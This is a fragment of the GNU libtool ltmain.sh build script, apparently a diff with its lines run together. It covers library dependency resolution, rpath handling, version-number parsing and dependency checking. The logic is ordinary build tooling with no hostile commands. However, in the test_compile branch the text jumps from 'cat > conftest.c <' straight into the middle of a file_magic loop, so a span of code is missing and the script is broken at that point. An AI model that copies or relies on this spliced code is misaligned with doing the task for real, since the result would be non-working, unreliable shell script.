absdir="$abs_ladir" + libdir="$abs_ladir" + else + dir="$libdir" + absdir="$libdir" + fi + test "X$hardcode_automatic" = Xyes && avoidtemprpath=yes + else + if test ! -f "$ladir/$objdir/$linklib" && test -f "$abs_ladir/$linklib"; then + dir="$ladir" + absdir="$abs_ladir" + # Remove this search path later + notinst_path="$notinst_path $abs_ladir" + else + dir="$ladir/$objdir" + absdir="$abs_ladir/$objdir" + # Remove this search path later + notinst_path="$notinst_path $abs_ladir" + fi + fi # $installed = yes + name=`$echo "X$laname" | $Xsed -e 's/\.la$//' -e 's/^lib//'` + + # This library was specified with -dlpreopen. + if test "$pass" = dlpreopen; then + if test -z "$libdir"; then + $echo "$modename: cannot -dlpreopen a convenience library: \`$lib'" 1>&2 + exit $EXIT_FAILURE + fi + # Prefer using a static library (so that no silly _DYNAMIC symbols + # are required to link). + if test -n "$old_library"; then + newdlprefiles="$newdlprefiles $dir/$old_library" + # Otherwise, use the dlname, so that lt_dlopen finds it. + elif test -n "$dlname"; then + newdlprefiles="$newdlprefiles $dir/$dlname" + else + newdlprefiles="$newdlprefiles $dir/$linklib" + fi + fi # $pass = dlpreopen + + if test -z "$libdir"; then + # Link the convenience library + if test "$linkmode" = lib; then + deplibs="$dir/$old_library $deplibs" + elif test "$linkmode,$pass" = "prog,link"; then + compile_deplibs="$dir/$old_library $compile_deplibs" + finalize_deplibs="$dir/$old_library $finalize_deplibs" + else + deplibs="$lib $deplibs" # used for prog,scan pass + fi + continue + fi + + + if test "$linkmode" = prog && test "$pass" != link; then + newlib_search_path="$newlib_search_path $ladir" + deplibs="$lib $deplibs" + + linkalldeplibs=no + if test "$link_all_deplibs" != no || test -z "$library_names" || + test "$build_libtool_libs" = no; then + linkalldeplibs=yes + fi + + tmp_libs= + for deplib in $dependency_libs; do + case $deplib in + -L*) newlib_search_path="$newlib_search_path "`$echo "X$deplib" | $Xsed -e 's/^-L//'`;; ### testsuite: skip nested quoting test + esac + # Need to link against all dependency_libs? + if test "$linkalldeplibs" = yes; then + deplibs="$deplib $deplibs" + else + # Need to hardcode shared library paths + # or/and link against static libraries + newdependency_libs="$deplib $newdependency_libs" + fi + if test "X$duplicate_deps" = "Xyes" ; then + case "$tmp_libs " in + *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;; + esac + fi + tmp_libs="$tmp_libs $deplib" + done # for deplib + continue + fi # $linkmode = prog... + + if test "$linkmode,$pass" = "prog,link"; then + if test -n "$library_names" && + { test "$prefer_static_libs" = no || test -z "$old_library"; }; then + # We need to hardcode the library path + if test -n "$shlibpath_var" && test -z "$avoidtemprpath" ; then + # Make sure the rpath contains only unique directories. + case "$temp_rpath " in + *" $dir "*) ;; + *" $absdir "*) ;; + *) temp_rpath="$temp_rpath $absdir" ;; + esac + fi + + # Hardcode the library path. + # Skip directories that are in the system default run-time + # search path. + case " $sys_lib_dlsearch_path " in + *" $absdir "*) ;; + *) + case "$compile_rpath " in + *" $absdir "*) ;; + *) compile_rpath="$compile_rpath $absdir" + esac + ;; + esac + case " $sys_lib_dlsearch_path " in + *" $libdir "*) ;; + *) + case "$finalize_rpath " in + *" $libdir "*) ;; + *) finalize_rpath="$finalize_rpath $libdir" + esac + ;; + esac + fi # $linkmode,$pass = prog,link... + + if test "$alldeplibs" = yes && + { test "$deplibs_check_method" = pass_all || + { test "$build_libtool_libs" = yes && + test -n "$library_names"; }; }; then + # We only need to search for static libraries + continue + fi + fi + + link_static=no # Whether the deplib will be linked statically + use_static_libs=$prefer_static_libs + if test "$use_static_libs" = built && test "$installed" = yes ; then + use_static_libs=no + fi + if test -n "$library_names" && + { test "$use_static_libs" = no || test -z "$old_library"; }; then + if test "$installed" = no; then + notinst_deplibs="$notinst_deplibs $lib" + need_relink=yes + fi + # This is a shared library + + # Warn about portability, can't link against -module's on + # some systems (darwin) + if test "$shouldnotlink" = yes && test "$pass" = link ; then + $echo + if test "$linkmode" = prog; then + $echo "*** Warning: Linking the executable $output against the loadable module" + else + $echo "*** Warning: Linking the shared library $output against the loadable module" + fi + $echo "*** $linklib is not portable!" + fi + if test "$linkmode" = lib && + test "$hardcode_into_libs" = yes; then + # Hardcode the library path. + # Skip directories that are in the system default run-time + # search path. + case " $sys_lib_dlsearch_path " in + *" $absdir "*) ;; + *) + case "$compile_rpath " in + *" $absdir "*) ;; + *) compile_rpath="$compile_rpath $absdir" + esac + ;; + esac + case " $sys_lib_dlsearch_path " in + *" $libdir "*) ;; + *) + case "$finalize_rpath " in + *" $libdir "*) ;; + *) finalize_rpath="$finalize_rpath $libdir" + esac + ;; + esac + fi + + if test -n "$old_archive_from_expsyms_cmds"; then + # figure out the soname + set dummy $library_names + realname="$2" + shift; shift + libname=`eval \\$echo \"$libname_spec\"` + # use dlname if we got it. it's perfectly good, no? + if test -n "$dlname"; then + soname="$dlname" + elif test -n "$soname_spec"; then + # bleh windows + case $host in + *cygwin* | mingw*) + major=`expr $current - $age` + versuffix="-$major" + ;; + esac + eval soname=\"$soname_spec\" + else + soname="$realname" + fi + + # Make a new name for the extract_expsyms_cmds to use + soroot="$soname" + soname=`$echo $soroot | ${SED} -e 's/^.*\///'` + newlib="libimp-`$echo $soname | ${SED} 's/^lib//;s/\.dll$//'`.a" + + # If the library has no export list, then create one now + if test -f "$output_objdir/$soname-def"; then : + else + $show "extracting exported symbol list from \`$soname'" + save_ifs="$IFS"; IFS='~' + cmds=$extract_expsyms_cmds + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + fi + + # Create $newlib + if test -f "$output_objdir/$newlib"; then :; else + $show "generating import library for \`$soname'" + save_ifs="$IFS"; IFS='~' + cmds=$old_archive_from_expsyms_cmds + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + fi + # make sure the library variables are pointing to the new library + dir=$output_objdir + linklib=$newlib + fi # test -n "$old_archive_from_expsyms_cmds" + + if test "$linkmode" = prog || test "$mode" != relink; then + add_shlibpath= + add_dir= + add= + lib_linked=yes + case $hardcode_action in + immediate | unsupported) + if test "$hardcode_direct" = no; then + add="$dir/$linklib" + case $host in + *-*-sco3.2v5.0.[024]*) add_dir="-L$dir" ;; + *-*-sysv4*uw2*) add_dir="-L$dir" ;; + *-*-sysv5OpenUNIX* | *-*-sysv5UnixWare7.[01].[10]* | \ + *-*-unixware7*) add_dir="-L$dir" ;; + *-*-darwin* ) + # if the lib is a module then we can not link against + # it, someone is ignoring the new warnings I added + if /usr/bin/file -L $add 2> /dev/null | + $EGREP ": [^:]* bundle" >/dev/null ; then + $echo "** Warning, lib $linklib is a module, not a shared library" + if test -z "$old_library" ; then + $echo + $echo "** And there doesn't seem to be a static archive available" + $echo "** The link will probably fail, sorry" + else + add="$dir/$old_library" + fi + fi + esac + elif test "$hardcode_minus_L" = no; then + case $host in + *-*-sunos*) add_shlibpath="$dir" ;; + esac + add_dir="-L$dir" + add="-l$name" + elif test "$hardcode_shlibpath_var" = no; then + add_shlibpath="$dir" + add="-l$name" + else + lib_linked=no + fi + ;; + relink) + if test "$hardcode_direct" = yes; then + add="$dir/$linklib" + elif test "$hardcode_minus_L" = yes; then + add_dir="-L$dir" + # Try looking first in the location we're being installed to. + if test -n "$inst_prefix_dir"; then + case $libdir in + [\\/]*) + add_dir="$add_dir -L$inst_prefix_dir$libdir" + ;; + esac + fi + add="-l$name" + elif test "$hardcode_shlibpath_var" = yes; then + add_shlibpath="$dir" + add="-l$name" + else + lib_linked=no + fi + ;; + *) lib_linked=no ;; + esac + + if test "$lib_linked" != yes; then + $echo "$modename: configuration error: unsupported hardcode properties" + exit $EXIT_FAILURE + fi + + if test -n "$add_shlibpath"; then + case :$compile_shlibpath: in + *":$add_shlibpath:"*) ;; + *) compile_shlibpath="$compile_shlibpath$add_shlibpath:" ;; + esac + fi + if test "$linkmode" = prog; then + test -n "$add_dir" && compile_deplibs="$add_dir $compile_deplibs" + test -n "$add" && compile_deplibs="$add $compile_deplibs" + else + test -n "$add_dir" && deplibs="$add_dir $deplibs" + test -n "$add" && deplibs="$add $deplibs" + if test "$hardcode_direct" != yes && \ + test "$hardcode_minus_L" != yes && \ + test "$hardcode_shlibpath_var" = yes; then + case :$finalize_shlibpath: in + *":$libdir:"*) ;; + *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;; + esac + fi + fi + fi + + if test "$linkmode" = prog || test "$mode" = relink; then + add_shlibpath= + add_dir= + add= + # Finalize command for both is simple: just hardcode it. + if test "$hardcode_direct" = yes; then + add="$libdir/$linklib" + elif test "$hardcode_minus_L" = yes; then + add_dir="-L$libdir" + add="-l$name" + elif test "$hardcode_shlibpath_var" = yes; then + case :$finalize_shlibpath: in + *":$libdir:"*) ;; + *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;; + esac + add="-l$name" + elif test "$hardcode_automatic" = yes; then + if test -n "$inst_prefix_dir" && + test -f "$inst_prefix_dir$libdir/$linklib" ; then + add="$inst_prefix_dir$libdir/$linklib" + else + add="$libdir/$linklib" + fi + else + # We cannot seem to hardcode it, guess we'll fake it. + add_dir="-L$libdir" + # Try looking first in the location we're being installed to. + if test -n "$inst_prefix_dir"; then + case $libdir in + [\\/]*) + add_dir="$add_dir -L$inst_prefix_dir$libdir" + ;; + esac + fi + add="-l$name" + fi + + if test "$linkmode" = prog; then + test -n "$add_dir" && finalize_deplibs="$add_dir $finalize_deplibs" + test -n "$add" && finalize_deplibs="$add $finalize_deplibs" + else + test -n "$add_dir" && deplibs="$add_dir $deplibs" + test -n "$add" && deplibs="$add $deplibs" + fi + fi + elif test "$linkmode" = prog; then + # Here we assume that one of hardcode_direct or hardcode_minus_L + # is not unsupported. This is valid on all known static and + # shared platforms. + if test "$hardcode_direct" != unsupported; then + test -n "$old_library" && linklib="$old_library" + compile_deplibs="$dir/$linklib $compile_deplibs" + finalize_deplibs="$dir/$linklib $finalize_deplibs" + else + compile_deplibs="-l$name -L$dir $compile_deplibs" + finalize_deplibs="-l$name -L$dir $finalize_deplibs" + fi + elif test "$build_libtool_libs" = yes; then + # Not a shared library + if test "$deplibs_check_method" != pass_all; then + # We're trying link a shared library against a static one + # but the system doesn't support it. + + # Just print a warning and add the library to dependency_libs so + # that the program can be linked against the static library. + $echo + $echo "*** Warning: This system can not link to static lib archive $lib." + $echo "*** I have the capability to make that library automatically link in when" + $echo "*** you link to this library. But I can only do this if you have a" + $echo "*** shared version of the library, which you do not appear to have." + if test "$module" = yes; then + $echo "*** But as you try to build a module library, libtool will still create " + $echo "*** a static module, that should work as long as the dlopening application" + $echo "*** is linked with the -dlopen flag to resolve symbols at runtime." + if test -z "$global_symbol_pipe"; then + $echo + $echo "*** However, this would only work if libtool was able to extract symbol" + $echo "*** lists from a program, using \`nm' or equivalent, but libtool could" + $echo "*** not find such a program. So, this module is probably useless." + $echo "*** \`nm' from GNU binutils and a full rebuild may help." + fi + if test "$build_old_libs" = no; then + build_libtool_libs=module + build_old_libs=yes + else + build_libtool_libs=no + fi + fi + else + deplibs="$dir/$old_library $deplibs" + link_static=yes + fi + fi # link shared/static library? + + if test "$linkmode" = lib; then + if test -n "$dependency_libs" && + { test "$hardcode_into_libs" != yes || + test "$build_old_libs" = yes || + test "$link_static" = yes; }; then + # Extract -R from dependency_libs + temp_deplibs= + for libdir in $dependency_libs; do + case $libdir in + -R*) temp_xrpath=`$echo "X$libdir" | $Xsed -e 's/^-R//'` + case " $xrpath " in + *" $temp_xrpath "*) ;; + *) xrpath="$xrpath $temp_xrpath";; + esac;; + *) temp_deplibs="$temp_deplibs $libdir";; + esac + done + dependency_libs="$temp_deplibs" + fi + + newlib_search_path="$newlib_search_path $absdir" + # Link against this library + test "$link_static" = no && newdependency_libs="$abs_ladir/$laname $newdependency_libs" + # ... and its dependency_libs + tmp_libs= + for deplib in $dependency_libs; do + newdependency_libs="$deplib $newdependency_libs" + if test "X$duplicate_deps" = "Xyes" ; then + case "$tmp_libs " in + *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;; + esac + fi + tmp_libs="$tmp_libs $deplib" + done + + if test "$link_all_deplibs" != no; then + # Add the search paths of all dependency libraries + for deplib in $dependency_libs; do + case $deplib in + -L*) path="$deplib" ;; + *.la) + dir=`$echo "X$deplib" | $Xsed -e 's%/[^/]*$%%'` + test "X$dir" = "X$deplib" && dir="." + # We need an absolute path. + case $dir in + [\\/]* | [A-Za-z]:[\\/]*) absdir="$dir" ;; + *) + absdir=`cd "$dir" && pwd` + if test -z "$absdir"; then + $echo "$modename: warning: cannot determine absolute directory name of \`$dir'" 1>&2 + absdir="$dir" + fi + ;; + esac + if grep "^installed=no" $deplib > /dev/null; then + path="$absdir/$objdir" + else + eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib` + if test -z "$libdir"; then + $echo "$modename: \`$deplib' is not a valid libtool archive" 1>&2 + exit $EXIT_FAILURE + fi + if test "$absdir" != "$libdir"; then + $echo "$modename: warning: \`$deplib' seems to be moved" 1>&2 + fi + path="$absdir" + fi + depdepl= + case $host in + *-*-darwin*) + # we do not want to link against static libs, + # but need to link against shared + eval deplibrary_names=`${SED} -n -e 's/^library_names=\(.*\)$/\1/p' $deplib` + if test -n "$deplibrary_names" ; then + for tmp in $deplibrary_names ; do + depdepl=$tmp + done + if test -f "$path/$depdepl" ; then + depdepl="$path/$depdepl" + fi + # do not add paths which are already there + case " $newlib_search_path " in + *" $path "*) ;; + *) newlib_search_path="$newlib_search_path $path";; + esac + fi + path="" + ;; + *) + path="-L$path" + ;; + esac + ;; + -l*) + case $host in + *-*-darwin*) + # Again, we only want to link against shared libraries + eval tmp_libs=`$echo "X$deplib" | $Xsed -e "s,^\-l,,"` + for tmp in $newlib_search_path ; do + if test -f "$tmp/lib$tmp_libs.dylib" ; then + eval depdepl="$tmp/lib$tmp_libs.dylib" + break + fi + done + path="" + ;; + *) continue ;; + esac + ;; + *) continue ;; + esac + case " $deplibs " in + *" $path "*) ;; + *) deplibs="$path $deplibs" ;; + esac + case " $deplibs " in + *" $depdepl "*) ;; + *) deplibs="$depdepl $deplibs" ;; + esac + done + fi # link_all_deplibs != no + fi # linkmode = lib + done # for deplib in $libs + dependency_libs="$newdependency_libs" + if test "$pass" = dlpreopen; then + # Link the dlpreopened libraries before other libraries + for deplib in $save_deplibs; do + deplibs="$deplib $deplibs" + done + fi + if test "$pass" != dlopen; then + if test "$pass" != conv; then + # Make sure lib_search_path contains only unique directories. + lib_search_path= + for dir in $newlib_search_path; do + case "$lib_search_path " in + *" $dir "*) ;; + *) lib_search_path="$lib_search_path $dir" ;; + esac + done + newlib_search_path= + fi + + if test "$linkmode,$pass" != "prog,link"; then + vars="deplibs" + else + vars="compile_deplibs finalize_deplibs" + fi + for var in $vars dependency_libs; do + # Add libraries to $var in reverse order + eval tmp_libs=\"\$$var\" + new_libs= + for deplib in $tmp_libs; do + # FIXME: Pedantically, this is the right thing to do, so + # that some nasty dependency loop isn't accidentally + # broken: + #new_libs="$deplib $new_libs" + # Pragmatically, this seems to cause very few problems in + # practice: + case $deplib in + -L*) new_libs="$deplib $new_libs" ;; + -R*) ;; + *) + # And here is the reason: when a library appears more + # than once as an explicit dependence of a library, or + # is implicitly linked in more than once by the + # compiler, it is considered special, and multiple + # occurrences thereof are not removed. Compare this + # with having the same library being listed as a + # dependency of multiple other libraries: in this case, + # we know (pedantically, we assume) the library does not + # need to be listed more than once, so we keep only the + # last copy. This is not always right, but it is rare + # enough that we require users that really mean to play + # such unportable linking tricks to link the library + # using -Wl,-lname, so that libtool does not consider it + # for duplicate removal. + case " $specialdeplibs " in + *" $deplib "*) new_libs="$deplib $new_libs" ;; + *) + case " $new_libs " in + *" $deplib "*) ;; + *) new_libs="$deplib $new_libs" ;; + esac + ;; + esac + ;; + esac + done + tmp_libs= + for deplib in $new_libs; do + case $deplib in + -L*) + case " $tmp_libs " in + *" $deplib "*) ;; + *) tmp_libs="$tmp_libs $deplib" ;; + esac + ;; + *) tmp_libs="$tmp_libs $deplib" ;; + esac + done + eval $var=\"$tmp_libs\" + done # for var + fi + # Last step: remove runtime libs from dependency_libs + # (they stay in deplibs) + tmp_libs= + for i in $dependency_libs ; do + case " $predeps $postdeps $compiler_lib_search_path " in + *" $i "*) + i="" + ;; + esac + if test -n "$i" ; then + tmp_libs="$tmp_libs $i" + fi + done + dependency_libs=$tmp_libs + done # for pass + if test "$linkmode" = prog; then + dlfiles="$newdlfiles" + dlprefiles="$newdlprefiles" + fi + + case $linkmode in + oldlib) + if test -n "$deplibs"; then + $echo "$modename: warning: \`-l' and \`-L' are ignored for archives" 1>&2 + fi + + if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then + $echo "$modename: warning: \`-dlopen' is ignored for archives" 1>&2 + fi + + if test -n "$rpath"; then + $echo "$modename: warning: \`-rpath' is ignored for archives" 1>&2 + fi + + if test -n "$xrpath"; then + $echo "$modename: warning: \`-R' is ignored for archives" 1>&2 + fi + + if test -n "$vinfo"; then + $echo "$modename: warning: \`-version-info/-version-number' is ignored for archives" 1>&2 + fi + + if test -n "$release"; then + $echo "$modename: warning: \`-release' is ignored for archives" 1>&2 + fi + + if test -n "$export_symbols" || test -n "$export_symbols_regex"; then + $echo "$modename: warning: \`-export-symbols' is ignored for archives" 1>&2 + fi + + # Now set the variables for building old libraries. + build_libtool_libs=no + oldlibs="$output" + objs="$objs$old_deplibs" + ;; + + lib) + # Make sure we only generate libraries of the form `libNAME.la'. + case $outputname in + lib*) + name=`$echo "X$outputname" | $Xsed -e 's/\.la$//' -e 's/^lib//'` + eval shared_ext=\"$shrext_cmds\" + eval libname=\"$libname_spec\" + ;; + *) + if test "$module" = no; then + $echo "$modename: libtool library \`$output' must begin with \`lib'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + if test "$need_lib_prefix" != no; then + # Add the "lib" prefix for modules if required + name=`$echo "X$outputname" | $Xsed -e 's/\.la$//'` + eval shared_ext=\"$shrext_cmds\" + eval libname=\"$libname_spec\" + else + libname=`$echo "X$outputname" | $Xsed -e 's/\.la$//'` + fi + ;; + esac + + if test -n "$objs"; then + if test "$deplibs_check_method" != pass_all; then + $echo "$modename: cannot build libtool library \`$output' from non-libtool objects on this host:$objs" 2>&1 + exit $EXIT_FAILURE + else + $echo + $echo "*** Warning: Linking the shared library $output against the non-libtool" + $echo "*** objects $objs is not portable!" + libobjs="$libobjs $objs" + fi + fi + + if test "$dlself" != no; then + $echo "$modename: warning: \`-dlopen self' is ignored for libtool libraries" 1>&2 + fi + + set dummy $rpath + if test "$#" -gt 2; then + $echo "$modename: warning: ignoring multiple \`-rpath's for a libtool library" 1>&2 + fi + install_libdir="$2" + + oldlibs= + if test -z "$rpath"; then + if test "$build_libtool_libs" = yes; then + # Building a libtool convenience library. + # Some compilers have problems with a `.al' extension so + # convenience libraries should have the same extension an + # archive normally would. + oldlibs="$output_objdir/$libname.$libext $oldlibs" + build_libtool_libs=convenience + build_old_libs=yes + fi + + if test -n "$vinfo"; then + $echo "$modename: warning: \`-version-info/-version-number' is ignored for convenience libraries" 1>&2 + fi + + if test -n "$release"; then + $echo "$modename: warning: \`-release' is ignored for convenience libraries" 1>&2 + fi + else + + # Parse the version information argument. + save_ifs="$IFS"; IFS=':' + set dummy $vinfo 0 0 0 + IFS="$save_ifs" + + if test -n "$8"; then + $echo "$modename: too many parameters to \`-version-info'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + # convert absolute version numbers to libtool ages + # this retains compatibility with .la files and attempts + # to make the code below a bit more comprehensible + + case $vinfo_number in + yes) + number_major="$2" + number_minor="$3" + number_revision="$4" + # + # There are really only two kinds -- those that + # use the current revision as the major version + # and those that subtract age and use age as + # a minor version. But, then there is irix + # which has an extra 1 added just for fun + # + case $version_type in + darwin|linux|osf|windows) + current=`expr $number_major + $number_minor` + age="$number_minor" + revision="$number_revision" + ;; + freebsd-aout|freebsd-elf|sunos) + current="$number_major" + revision="$number_minor" + age="0" + ;; + irix|nonstopux) + current=`expr $number_major + $number_minor - 1` + age="$number_minor" + revision="$number_minor" + ;; + esac + ;; + no) + current="$2" + revision="$3" + age="$4" + ;; + esac + + # Check that each of the things are valid numbers. + case $current in + 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;; + *) + $echo "$modename: CURRENT \`$current' must be a nonnegative integer" 1>&2 + $echo "$modename: \`$vinfo' is not valid version information" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + case $revision in + 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;; + *) + $echo "$modename: REVISION \`$revision' must be a nonnegative integer" 1>&2 + $echo "$modename: \`$vinfo' is not valid version information" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + case $age in + 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;; + *) + $echo "$modename: AGE \`$age' must be a nonnegative integer" 1>&2 + $echo "$modename: \`$vinfo' is not valid version information" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + if test "$age" -gt "$current"; then + $echo "$modename: AGE \`$age' is greater than the current interface number \`$current'" 1>&2 + $echo "$modename: \`$vinfo' is not valid version information" 1>&2 + exit $EXIT_FAILURE + fi + + # Calculate the version variables. + major= + versuffix= + verstring= + case $version_type in + none) ;; + + darwin) + # Like Linux, but with the current version available in + # verstring for coding it into the library header + major=.`expr $current - $age` + versuffix="$major.$age.$revision" + # Darwin ld doesn't like 0 for these options... + minor_current=`expr $current + 1` + verstring="${wl}-compatibility_version ${wl}$minor_current ${wl}-current_version ${wl}$minor_current.$revision" + ;; + + freebsd-aout) + major=".$current" + versuffix=".$current.$revision"; + ;; + + freebsd-elf) + major=".$current" + versuffix=".$current"; + ;; + + irix | nonstopux) + major=`expr $current - $age + 1` + + case $version_type in + nonstopux) verstring_prefix=nonstopux ;; + *) verstring_prefix=sgi ;; + esac + verstring="$verstring_prefix$major.$revision" + + # Add in all the interfaces that we are compatible with. + loop=$revision + while test "$loop" -ne 0; do + iface=`expr $revision - $loop` + loop=`expr $loop - 1` + verstring="$verstring_prefix$major.$iface:$verstring" + done + + # Before this point, $major must not contain `.'. + major=.$major + versuffix="$major.$revision" + ;; + + linux) + major=.`expr $current - $age` + versuffix="$major.$age.$revision" + ;; + + osf) + major=.`expr $current - $age` + versuffix=".$current.$age.$revision" + verstring="$current.$age.$revision" + + # Add in all the interfaces that we are compatible with. + loop=$age + while test "$loop" -ne 0; do + iface=`expr $current - $loop` + loop=`expr $loop - 1` + verstring="$verstring:${iface}.0" + done + + # Make executables depend on our current version. + verstring="$verstring:${current}.0" + ;; + + sunos) + major=".$current" + versuffix=".$current.$revision" + ;; + + windows) + # Use '-' rather than '.', since we only want one + # extension on DOS 8.3 filesystems. + major=`expr $current - $age` + versuffix="-$major" + ;; + + *) + $echo "$modename: unknown library version type \`$version_type'" 1>&2 + $echo "Fatal configuration error. See the $PACKAGE docs for more information." 1>&2 + exit $EXIT_FAILURE + ;; + esac + + # Clear the version info if we defaulted, and they specified a release. + if test -z "$vinfo" && test -n "$release"; then + major= + case $version_type in + darwin) + # we can't check for "0.0" in archive_cmds due to quoting + # problems, so we reset it completely + verstring= + ;; + *) + verstring="0.0" + ;; + esac + if test "$need_version" = no; then + versuffix= + else + versuffix=".0.0" + fi + fi + + # Remove version info from name if versioning should be avoided + if test "$avoid_version" = yes && test "$need_version" = no; then + major= + versuffix= + verstring="" + fi + + # Check to see if the archive will have undefined symbols. + if test "$allow_undefined" = yes; then + if test "$allow_undefined_flag" = unsupported; then + $echo "$modename: warning: undefined symbols not allowed in $host shared libraries" 1>&2 + build_libtool_libs=no + build_old_libs=yes + fi + else + # Don't allow undefined symbols. + allow_undefined_flag="$no_undefined_flag" + fi + fi + + if test "$mode" != relink; then + # Remove our outputs, but don't remove object files since they + # may have been created when compiling PIC objects. + removelist= + tempremovelist=`$echo "$output_objdir/*"` + for p in $tempremovelist; do + case $p in + *.$objext) + ;; + $output_objdir/$outputname | $output_objdir/$libname.* | $output_objdir/${libname}${release}.*) + if test "X$precious_files_regex" != "X"; then + if echo $p | $EGREP -e "$precious_files_regex" >/dev/null 2>&1 + then + continue + fi + fi + removelist="$removelist $p" + ;; + *) ;; + esac + done + if test -n "$removelist"; then + $show "${rm}r $removelist" + $run ${rm}r $removelist + fi + fi + + # Now set the variables for building old libraries. + if test "$build_old_libs" = yes && test "$build_libtool_libs" != convenience ; then + oldlibs="$oldlibs $output_objdir/$libname.$libext" + + # Transform .lo files to .o files. + oldobjs="$objs "`$echo "X$libobjs" | $SP2NL | $Xsed -e '/\.'${libext}'$/d' -e "$lo2o" | $NL2SP` + fi + + # Eliminate all temporary directories. + for path in $notinst_path; do + lib_search_path=`$echo "$lib_search_path " | ${SED} -e "s% $path % %g"` + deplibs=`$echo "$deplibs " | ${SED} -e "s% -L$path % %g"` + dependency_libs=`$echo "$dependency_libs " | ${SED} -e "s% -L$path % %g"` + done + + if test -n "$xrpath"; then + # If the user specified any rpath flags, then add them. + temp_xrpath= + for libdir in $xrpath; do + temp_xrpath="$temp_xrpath -R$libdir" + case "$finalize_rpath " in + *" $libdir "*) ;; + *) finalize_rpath="$finalize_rpath $libdir" ;; + esac + done + if test "$hardcode_into_libs" != yes || test "$build_old_libs" = yes; then + dependency_libs="$temp_xrpath $dependency_libs" + fi + fi + + # Make sure dlfiles contains only unique files that won't be dlpreopened + old_dlfiles="$dlfiles" + dlfiles= + for lib in $old_dlfiles; do + case " $dlprefiles $dlfiles " in + *" $lib "*) ;; + *) dlfiles="$dlfiles $lib" ;; + esac + done + + # Make sure dlprefiles contains only unique files + old_dlprefiles="$dlprefiles" + dlprefiles= + for lib in $old_dlprefiles; do + case "$dlprefiles " in + *" $lib "*) ;; + *) dlprefiles="$dlprefiles $lib" ;; + esac + done + + if test "$build_libtool_libs" = yes; then + if test -n "$rpath"; then + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-*-beos*) + # these systems don't actually have a c library (as such)! + ;; + *-*-rhapsody* | *-*-darwin1.[012]) + # Rhapsody C library is in the System framework + deplibs="$deplibs -framework System" + ;; + *-*-netbsd*) + # Don't link with libc until the a.out ld.so is fixed. + ;; + *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*) + # Do not include libc due to us having libc/libc_r. + ;; + *-*-sco3.2v5* | *-*-sco5v6*) + # Causes problems with __ctype + ;; + *-*-sysv4.2uw2* | *-*-sysv5* | *-*-unixware* | *-*-OpenUNIX*) + # Compiler inserts libc in the correct place for threads to work + ;; + *) + # Add libc to deplibs on all other systems if necessary. + if test "$build_libtool_need_lc" = "yes"; then + deplibs="$deplibs -lc" + fi + ;; + esac + fi + + # Transform deplibs into only deplibs that can be linked in shared. + name_save=$name + libname_save=$libname + release_save=$release + versuffix_save=$versuffix + major_save=$major + # I'm not sure if I'm treating the release correctly. I think + # release should show up in the -l (ie -lgmp5) so we don't want to + # add it in twice. Is that correct? + release="" + versuffix="" + major="" + newdeplibs= + droppeddeps=no + case $deplibs_check_method in + pass_all) + # Don't check for shared/static. Everything works. + # This might be a little naive. We might want to check + # whether the library exists or not. But this is on + # osf3 & osf4 and I'm not really sure... Just + # implementing what was already the behavior. + newdeplibs=$deplibs + ;; + test_compile) + # This code stresses the "libraries are programs" paradigm to its + # limits. Maybe even breaks it. We compile a program, linking it + # against the deplibs as a proxy for the library. Then we can check + # whether they linked in statically or dynamically with ldd. + $rm conftest.c + cat > conftest.c </dev/null` + for potent_lib in $potential_libs; do + # Follow soft links. + if ls -lLd "$potent_lib" 2>/dev/null \ + | grep " -> " >/dev/null; then + continue + fi + # The statement above tries to avoid entering an + # endless loop below, in case of cyclic links. + # We might still enter an endless loop, since a link + # loop can be closed while we follow links, + # but so what? + potlib="$potent_lib" + while test -h "$potlib" 2>/dev/null; do + potliblink=`ls -ld $potlib | ${SED} 's/.* -> //'` + case $potliblink in + [\\/]* | [A-Za-z]:[\\/]*) potlib="$potliblink";; + *) potlib=`$echo "X$potlib" | $Xsed -e 's,[^/]*$,,'`"$potliblink";; + esac + done + if eval $file_magic_cmd \"\$potlib\" 2>/dev/null \ + | ${SED} 10q \ + | $EGREP "$file_magic_regex" > /dev/null; then + newdeplibs="$newdeplibs $a_deplib" + a_deplib="" + break 2 + fi + done + done + fi + if test -n "$a_deplib" ; then + droppeddeps=yes + $echo + $echo "*** Warning: linker path does not have real file for library $a_deplib." + $echo "*** I have the capability to make that library automatically link in when" + $echo "*** you link to this library. But I can only do this if you have a" + $echo "*** shared version of the library, which you do not appear to have" + $echo "*** because I did check the linker path looking for a file starting" + if test -z "$potlib" ; then + $echo "*** with $libname but no candidates were found. (...for file magic test)" + else + $echo "*** with $libname and none of the candidates passed a file format test" + $echo "*** using a file magic. Last file checked: $potlib" + fi + fi + else + # Add a -L argument. + newdeplibs="$newdeplibs $a_deplib" + fi + done # Gone through all deplibs. + ;; + match_pattern*) + set dummy $deplibs_check_method + match_pattern_regex=`expr "$deplibs_check_method" : "$2 \(.*\)"` + for a_deplib in $deplibs; do + name=`expr $a_deplib : '-l\(.*\)'` + # If $name is empty we are operating on a -L argument. + if test -n "$name" && test "$name" != "0"; then + if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then + case " $predeps $postdeps " in + *" $a_deplib "*) + newdeplibs="$newdeplibs $a_deplib" + a_deplib="" + 